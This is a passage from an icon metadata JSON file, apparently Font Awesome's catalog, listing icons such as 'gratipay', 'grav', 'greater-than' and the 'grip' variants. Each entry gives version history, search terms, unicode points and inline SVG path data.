        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 32c-8.1 0-16.1 1.4-23.7 4.1L15.8 137.4C6.3 140.9 0 149.9 0 160s6.3 19.1 15.8 22.6l57.9 20.9C57.3 229.3 48 259.8 48 291.9v28.1c0 28.4-10.8 57.7-22.3 80.8c-6.5 13-13.9 25.8-22.5 37.6C0 442.7-.9 448.3 .9 453.4s6 8.9 11.2 10.2l64 16c4.2 1.1 8.7 .3 12.4-2s6.3-6.1 7.1-10.4c8.6-42.8 4.3-81.2-2.1-108.7C90.3 344.3 86 329.8 80 316.5V291.9c0-30.2 10.2-58.7 27.9-81.5c12.9-15.5 29.6-28 49.2-35.7l157-61.7c8.2-3.2 17.5 .8 20.7 9s-.8 17.5-9 20.7l-157 61.7c-12.4 4.9-23.3 12.4-32.2 21.6l159.6 57.6c7.6 2.7 15.6 4.1 23.7 4.1s16.1-1.4 23.7-4.1L624.2 182.6c9.5-3.4 15.8-12.5 15.8-22.6s-6.3-19.1-15.8-22.6L343.7 36.1C336.1 33.4 328.1 32 320 32zM128 408c0 35.3 86 72 192 72s192-36.7 192-72L496.7 262.6 354.5 314c-11.1 4-22.8 6-34.5 6s-23.5-2-34.5-6L143.3 262.6 128 408z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 32c-8.1 0-16.1 1.4-23.7 4.1L15.8 137.4C6.3 140.9 0 149.9 0 160s6.3 19.1 15.8 22.6l57.9 20.9C57.3 229.3 48 259.8 48 291.9v28.1c0 28.4-10.8 57.7-22.3 80.8c-6.5 13-13.9 25.8-22.5 37.6C0 442.7-.9 448.3 .9 453.4s6 8.9 11.2 10.2l64 16c4.2 1.1 8.7 .3 12.4-2s6.3-6.1 7.1-10.4c8.6-42.8 4.3-81.2-2.1-108.7C90.3 344.3 86 329.8 80 316.5V291.9c0-30.2 10.2-58.7 27.9-81.5c12.9-15.5 29.6-28 49.2-35.7l157-61.7c8.2-3.2 17.5 .8 20.7 9s-.8 17.5-9 20.7l-157 61.7c-12.4 4.9-23.3 12.4-32.2 21.6l159.6 57.6c7.6 2.7 15.6 4.1 23.7 4.1s16.1-1.4 23.7-4.1L624.2 182.6c9.5-3.4 15.8-12.5 15.8-22.6s-6.3-19.1-15.8-22.6L343.7 36.1C336.1 33.4 328.1 32 320 32zM128 408c0 35.3 86 72 192 72s192-36.7 192-72L496.7 262.6 354.5 314c-11.1 4-22.8 6-34.5 6s-23.5-2-34.5-6L143.3 262.6 128 408z"
      }
    },
    "free": ["solid"]
  },
  "gratipay": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["favorite", "heart", "like", "love"]
    },
    "styles": ["brands"],
    "unicode": "f184",
    "label": "Gratipay (Gittip)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z"
      }
    },
    "free": ["brands"]
  },
  "grav": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2d6",
    "label": "Grav",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 0-10.2-3-3-7.7-3-10.5 0zm72.5-13.3c-19.9-14.4-33.8-43.2-11.9-68.1 21.6-24.9 40.7-17.2 59.8.8 11.9 11.3 29.3 24.9 17.2 48.2-12.5 23.5-45.1 33.2-65.1 19.1zm47.7-44.5c-8.9-10-23.3 6.9-15.5 16.1 7.4 9 32.1 2.4 15.5-16.1zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-66.2 42.6c2.5-16.1-20.2-16.6-25.2-25.7-13.6-24.1-27.7-36.8-54.5-30.4 11.6-8 23.5-6.1 23.5-6.1.3-6.4 0-13-9.4-24.9 3.9-12.5.3-22.4.3-22.4 15.5-8.6 26.8-24.4 29.1-43.2 3.6-31-18.8-59.2-49.8-62.8-22.1-2.5-43.7 7.7-54.3 25.7-23.2 40.1 1.4 70.9 22.4 81.4-14.4-1.4-34.3-11.9-40.1-34.3-6.6-25.7 2.8-49.8 8.9-61.4 0 0-4.4-5.8-8-8.9 0 0-13.8 0-24.6 5.3 11.9-15.2 25.2-14.4 25.2-14.4 0-6.4-.6-14.9-3.6-21.6-5.4-11-23.8-12.9-31.7 2.8.1-.2.3-.4.4-.5-5 11.9-1.1 55.9 16.9 87.2-2.5 1.4-9.1 6.1-13 10-21.6 9.7-56.2 60.3-56.2 60.3-28.2 10.8-77.2 50.9-70.6 79.7.3 3 1.4 5.5 3 7.5-2.8 2.2-5.5 5-8.3 8.3-11.9 13.8-5.3 35.2 17.7 24.4 15.8-7.2 29.6-20.2 36.3-30.4 0 0-5.5-5-16.3-4.4 27.7-6.6 34.3-9.4 46.2-9.1 8 3.9 8-34.3 8-34.3 0-14.7-2.2-31-11.1-41.5 12.5 12.2 29.1 32.7 28 60.6-.8 18.3-15.2 23-15.2 23-9.1 16.6-43.2 65.9-30.4 106 0 0-9.7-14.9-10.2-22.1-17.4 19.4-46.5 52.3-24.6 64.5 26.6 14.7 108.8-88.6 126.2-142.3 34.6-20.8 55.4-47.3 63.9-65 22 43.5 95.3 94.5 101.1 59z"
      }
    },
    "free": ["brands"]
  },
  "greater-than": {
    "aliases": {
      "unicodes": {
        "composite": ["f531"],
        "primary": ["f531"],
        "secondary": ["103e", "10f531"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Greater-Than Sign", "arithmetic", "compare", "math"]
    },
    "styles": ["solid"],
    "unicode": "3e",
    "label": "Greater Than",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M3.4 81.7c-7.9 15.8-1.5 35 14.3 42.9L280.5 256 17.7 387.4C1.9 395.3-4.5 414.5 3.4 430.3s27.1 22.2 42.9 14.3l320-160c10.8-5.4 17.7-16.5 17.7-28.6s-6.8-23.2-17.7-28.6l-320-160c-15.8-7.9-35-1.5-42.9 14.3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M3.4 81.7c-7.9 15.8-1.5 35 14.3 42.9L280.5 256 17.7 387.4C1.9 395.3-4.5 414.5 3.4 430.3s27.1 22.2 42.9 14.3l320-160c10.8-5.4 17.7-16.5 17.7-28.6s-6.8-23.2-17.7-28.6l-320-160c-15.8-7.9-35-1.5-42.9 14.3z"
      }
    },
    "free": ["solid"]
  },
  "greater-than-equal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f532"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arithmetic", "compare", "math"]
    },
    "styles": ["solid"],
    "unicode": "f532",
    "label": "Greater Than Equal",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M52.1 93.7C35.7 87.1 27.7 68.5 34.3 52.1s25.2-24.4 41.6-17.8l320 128C408 167.1 416 178.9 416 192s-8 24.9-20.1 29.7l-320 128c-16.4 6.6-35-1.4-41.6-17.8s1.4-35 17.8-41.6L297.8 192 52.1 93.7zM416 416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M52.1 93.7C35.7 87.1 27.7 68.5 34.3 52.1s25.2-24.4 41.6-17.8l320 128C408 167.1 416 178.9 416 192s-8 24.9-20.1 29.7l-320 128c-16.4 6.6-35-1.4-41.6-17.8s1.4-35 17.8-41.6L297.8 192 52.1 93.7zM416 416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416z"
      }
    },
    "free": ["solid"]
  },
  "grip": {
    "aliases": {
      "names": ["grip-horizontal"],
      "unicodes": {
        "secondary": ["10f58d"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["affordance", "drag", "drop", "grab", "handle"]
    },
    "styles": ["solid"],
    "unicode": "f58d",
    "label": "Grip",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M128 136c0-22.1-17.9-40-40-40L40 96C17.9 96 0 113.9 0 136l0 48c0 22.1 17.9 40 40 40H88c22.1 0 40-17.9 40-40l0-48zm0 192c0-22.1-17.9-40-40-40H40c-22.1 0-40 17.9-40 40l0 48c0 22.1 17.9 40 40 40H88c22.1 0 40-17.9 40-40V328zm32-192v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V136c0-22.1-17.9-40-40-40l-48 0c-22.1 0-40 17.9-40 40zM288 328c0-22.1-17.9-40-40-40H200c-22.1 0-40 17.9-40 40l0 48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V328zm32-192v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V136c0-22.1-17.9-40-40-40l-48 0c-22.1 0-40 17.9-40 40zM448 328c0-22.1-17.9-40-40-40H360c-22.1 0-40 17.9-40 40v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V328z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M128 136c0-22.1-17.9-40-40-40L40 96C17.9 96 0 113.9 0 136l0 48c0 22.1 17.9 40 40 40H88c22.1 0 40-17.9 40-40l0-48zm0 192c0-22.1-17.9-40-40-40H40c-22.1 0-40 17.9-40 40l0 48c0 22.1 17.9 40 40 40H88c22.1 0 40-17.9 40-40V328zm32-192v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V136c0-22.1-17.9-40-40-40l-48 0c-22.1 0-40 17.9-40 40zM288 328c0-22.1-17.9-40-40-40H200c-22.1 0-40 17.9-40 40l0 48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V328zm32-192v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V136c0-22.1-17.9-40-40-40l-48 0c-22.1 0-40 17.9-40 40zM448 328c0-22.1-17.9-40-40-40H360c-22.1 0-40 17.9-40 40v48c0 22.1 17.9 40 40 40h48c22.1 0 40-17.9 40-40V328z"
      }
    },
    "free": ["solid"]
  },
  "grip-lines": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7a4"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["affordance", "drag", "drop", "grab", "handle"]
    },
    "styles": ["solid"],
    "unicode": "f7a4",
    "label": "Grip Lines",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 288c-17.7 0-32 14.3-32 32s14.3 32 32 32l384 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 288zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32l384 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 288c-17.7 0-32 14.3-32 32s14.3 32 32 32l384 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 288zm0-128c-17.7 0-32 14.3-32 32s14.3 32 32 32l384 0c17.7 0 32-14.3 32-32s-14.3-32-32-32L32 160z"
      }
    },
    "free": ["solid"]
  },
  "grip-lines-vertical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7a5"]
      }
    },
    "changes": [
      "5.6.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["affordance", "drag", "drop", "grab", "handle"]
    },
    "styles": ["solid"],
    "unicode": "f7a5",
    "label": "Grip Lines Vertical",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 192 512\"><path d=\"M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64zm128 0c0-17.7-14.3-32-32-32s-32 14.3-32 32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64z\"/></svg>",
        "viewBox": [0, 0, 192, 512],
        "width": 192,
        "height": 512,
        "path": "M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64zm128 0c0-17.7-14.3-32-32-32s-32 14.3-32 32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64z"
      }
    },
    "free": ["solid"]
  },
  "grip-vertical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f58e"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["affordance", "drag", "drop", "grab", "handle"]
    },
    "styles": ["solid"],
    "unicode": "f58e",
    "label": "Grip Vertical",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M40 352l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zm192 0l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zM40 320c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0zM232 192l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zM40 160c-22.1 0-40-17.9-40-40L0 72C0 49.9 17.9 32 40 32l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0zM232 32l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M40 352l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zm192 0l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zM40 320c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0zM232 192l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40zM40 160c-22.1 0-40-17.9-40-40L0 72C0 49.9 17.9 32 40 32l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0zM232 32l48 0c22.1 0 40 17.9 40 40l0 48c0 22.1-17.9 40-40 40l-48 0c-22.1 0-40-17.9-40-40l0-48c0-22.1 17.9-40 40-40z"
      }
    },
    "free": ["solid"]
  },
  "gripfire": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ac",
    "label": "Gripfire, Inc.",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M112.5 301.4c0-73.8 105.1-122.5 105.1-203 0-47.1-34-88-39.1-90.4.4 3.3.6 6.7.6 10C179.1 110.1 32 171.9 32 286.6c0 49.8 32.2 79.2 66.5 108.3 65.1 46.7 78.1 71.4 78.1 86.6 0 10.1-4.8 17-4.8 22.3 13.1-16.7 17.4-31.9 17.5-46.4 0-29.6-21.7-56.3-44.2-86.5-16-22.3-32.6-42.6-32.6-69.5zm205.3-39c-12.1-66.8-78-124.4-94.7-130.9l4 7.2c2.4 5.1 3.4 10.9 3.4 17.1 0 44.7-54.2 111.2-56.6 116.7-2.2 5.1-3.2 10.5-3.2 15.8 0 20.1 15.2 42.1 17.9 42.1 2.4 0 56.6-55.4 58.1-87.7 6.4 11.7 9.1 22.6 9.1 33.4 0 41.2-41.8 96.9-41.8 96.9 0 11.6 31.9 53.2 35.5 53.2 1 0 2.2-1.4 3.2-2.4 37.9-39.3 67.3-85 67.3-136.8 0-8-.7-16.2-2.2-24.6z"
      }
    },
    "free": ["brands"]
  },
  "group-arrows-rotate": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["community", "engagement", "spin", "sync"]
    },
    "styles": ["solid"],
    "unicode": "e4f6",
    "label": "Group Arrows Rotate",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M201.1 71.9c16.9-5 26.6-22.9 21.5-39.8s-22.9-26.6-39.8-21.5c-21.5 6.4-41.8 15.5-60.6 27C114.3 34 105.4 32 96 32C60.7 32 32 60.7 32 96c0 9.4 2 18.3 5.6 26.3c-11.5 18.7-20.6 39-27 60.6c-5 16.9 4.6 34.8 21.5 39.8s34.8-4.6 39.8-21.5c4.3-14.6 10.4-28.5 17.9-41.4c2 .2 4.1 .3 6.1 .3c35.3 0 64-28.7 64-64c0-2.1-.1-4.1-.3-6.1c12.9-7.5 26.8-13.6 41.4-17.9zm128-61.3c-16.9-5-34.8 4.6-39.8 21.5s4.6 34.8 21.5 39.8c14.6 4.3 28.5 10.4 41.4 17.9c-.2 2-.3 4.1-.3 6.1c0 35.3 28.7 64 64 64c2.1 0 4.1-.1 6.2-.3c7.5 12.9 13.6 26.8 17.9 41.4c5 16.9 22.9 26.6 39.8 21.5s26.6-22.9 21.5-39.8c-6.4-21.5-15.5-41.8-27-60.6c3.6-8 5.6-16.9 5.6-26.3c0-35.3-28.7-64-64-64c-9.4 0-18.3 2-26.3 5.6c-18.7-11.5-39-20.6-60.6-27zM71.9 310.9c-5-16.9-22.9-26.6-39.8-21.5s-26.6 22.9-21.5 39.8c6.4 21.5 15.5 41.8 27 60.6C34 397.7 32 406.6 32 416c0 35.3 28.7 64 64 64c9.4 0 18.3-2 26.3-5.6c18.7 11.5 39 20.6 60.6 27c16.9 5 34.8-4.6 39.8-21.5s-4.6-34.8-21.5-39.8c-14.6-4.3-28.5-10.4-41.4-17.9c.2-2 .3-4.1 .3-6.2c0-35.3-28.7-64-64-64c-2.1 0-4.1 .1-6.2 .3c-7.5-12.9-13.6-26.8-17.9-41.4zm429.4 18.3c5-16.9-4.6-34.8-21.5-39.8s-34.8 4.6-39.8 21.5c-4.3 14.6-10.4 28.5-17.9 41.4c-2-.2-4.1-.3-6.2-.3c-35.3 0-64 28.7-64 64c0 2.1 .1 4.1 .3 6.2c-12.9 7.5-26.8 13.6-41.4 17.9c-16.9 5-26.6 22.9-21.5 39.8s22.9 26.6 39.8 21.5c21.5-6.4 41.8-15.5 60.6-27c8 3.6 16.9 5.6 26.3 5.6c35.3 0 64-28.7 64-64c0-9.4-2-18.3-5.6-26.3c11.5-18.7 20.6-39 27-60.6zM192.8 256.8c0-15.6 5.6-29.9 14.9-41.1L223 231c6.6 6.6 17.8 1.9 17.8-7.4V163.2c0-5.7-4.7-10.4-10.4-10.4H169.9c-9.3 0-13.9 11.2-7.4 17.8l11.2 11.2c-17.9 19.8-28.9 46.2-28.9 75.1c0 43.6 24.9 81.3 61.1 99.8c11.8 6 26.3 1.4 32.3-10.4s1.4-26.3-10.4-32.3c-20.8-10.6-34.9-32.2-34.9-57zm93.1-58.6c20.8 10.6 34.9 32.2 34.9 57c0 15.6-5.6 29.9-14.9 41.1L290.6 281c-6.6-6.6-17.8-1.9-17.8 7.4v60.5c0 5.7 4.7 10.4 10.4 10.4h60.5c9.3 0 13.9-11.2 7.4-17.8l-11.2-11.2c17.9-19.8 28.9-46.2 28.9-75.1c0-43.6-24.9-81.3-61.1-99.8c-11.8-6-26.3-1.4-32.3 10.4s-1.4 26.3 10.4 32.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M201.1 71.9c16.9-5 26.6-22.9 21.5-39.8s-22.9-26.6-39.8-21.5c-21.5 6.4-41.8 15.5-60.6 27C114.3 34 105.4 32 96 32C60.7 32 32 60.7 32 96c0 9.4 2 18.3 5.6 26.3c-11.5 18.7-20.6 39-27 60.6c-5 16.9 4.6 34.8 21.5 39.8s34.8-4.6 39.8-21.5c4.3-14.6 10.4-28.5 17.9-41.4c2 .2 4.1 .3 6.1 .3c35.3 0 64-28.7 64-64c0-2.1-.1-4.1-.3-6.1c12.9-7.5 26.8-13.6 41.4-17.9zm128-61.3c-16.9-5-34.8 4.6-39.8 21.5s4.6 34.8 21.5 39.8c14.6 4.3 28.5 10.4 41.4 17.9c-.2 2-.3 4.1-.3 6.1c0 35.3 28.7 64 64 64c2.1 0 4.1-.1 6.2-.3c7.5 12.9 13.6 26.8 17.9 41.4c5 16.9 22.9 26.6 39.8 21.5s26.6-22.9 21.5-39.8c-6.4-21.5-15.5-41.8-27-60.6c3.6-8 5.6-16.9 5.6-26.3c0-35.3-28.7-64-64-64c-9.4 0-18.3 2-26.3 5.6c-18.7-11.5-39-20.6-60.6-27zM71.9 310.9c-5-16.9-22.9-26.6-39.8-21.5s-26.6 22.9-21.5 39.8c6.4 21.5 15.5 41.8 27 60.6C34 397.7 32 406.6 32 416c0 35.3 28.7 64 64 64c9.4 0 18.3-2 26.3-5.6c18.7 11.5 39 20.6 60.6 27c16.9 5 34.8-4.6 39.8-21.5s-4.6-34.8-21.5-39.8c-14.6-4.3-28.5-10.4-41.4-17.9c.2-2 .3-4.1 .3-6.2c0-35.3-28.7-64-64-64c-2.1 0-4.1 .1-6.2 .3c-7.5-12.9-13.6-26.8-17.9-41.4zm429.4 18.3c5-16.9-4.6-34.8-21.5-39.8s-34.8 4.6-39.8 21.5c-4.3 14.6-10.4 28.5-17.9 41.4c-2-.2-4.1-.3-6.2-.3c-35.3 0-64 28.7-64 64c0 2.1 .1 4.1 .3 6.2c-12.9 7.5-26.8 13.6-41.4 17.9c-16.9 5-26.6 22.9-21.5 39.8s22.9 26.6 39.8 21.5c21.5-6.4 41.8-15.5 60.6-27c8 3.6 16.9 5.6 26.3 5.6c35.3 0 64-28.7 64-64c0-9.4-2-18.3-5.6-26.3c11.5-18.7 20.6-39 27-60.6zM192.8 256.8c0-15.6 5.6-29.9 14.9-41.1L223 231c6.6 6.6 17.8 1.9 17.8-7.4V163.2c0-5.7-4.7-10.4-10.4-10.4H169.9c-9.3 0-13.9 11.2-7.4 17.8l11.2 11.2c-17.9 19.8-28.9 46.2-28.9 75.1c0 43.6 24.9 81.3 61.1 99.8c11.8 6 26.3 1.4 32.3-10.4s1.4-26.3-10.4-32.3c-20.8-10.6-34.9-32.2-34.9-57zm93.1-58.6c20.8 10.6 34.9 32.2 34.9 57c0 15.6-5.6 29.9-14.9 41.1L290.6 281c-6.6-6.6-17.8-1.9-17.8 7.4v60.5c0 5.7 4.7 10.4 10.4 10.4h60.5c9.3 0 13.9-11.2 7.4-17.8l-11.2-11.2c17.9-19.8 28.9-46.2 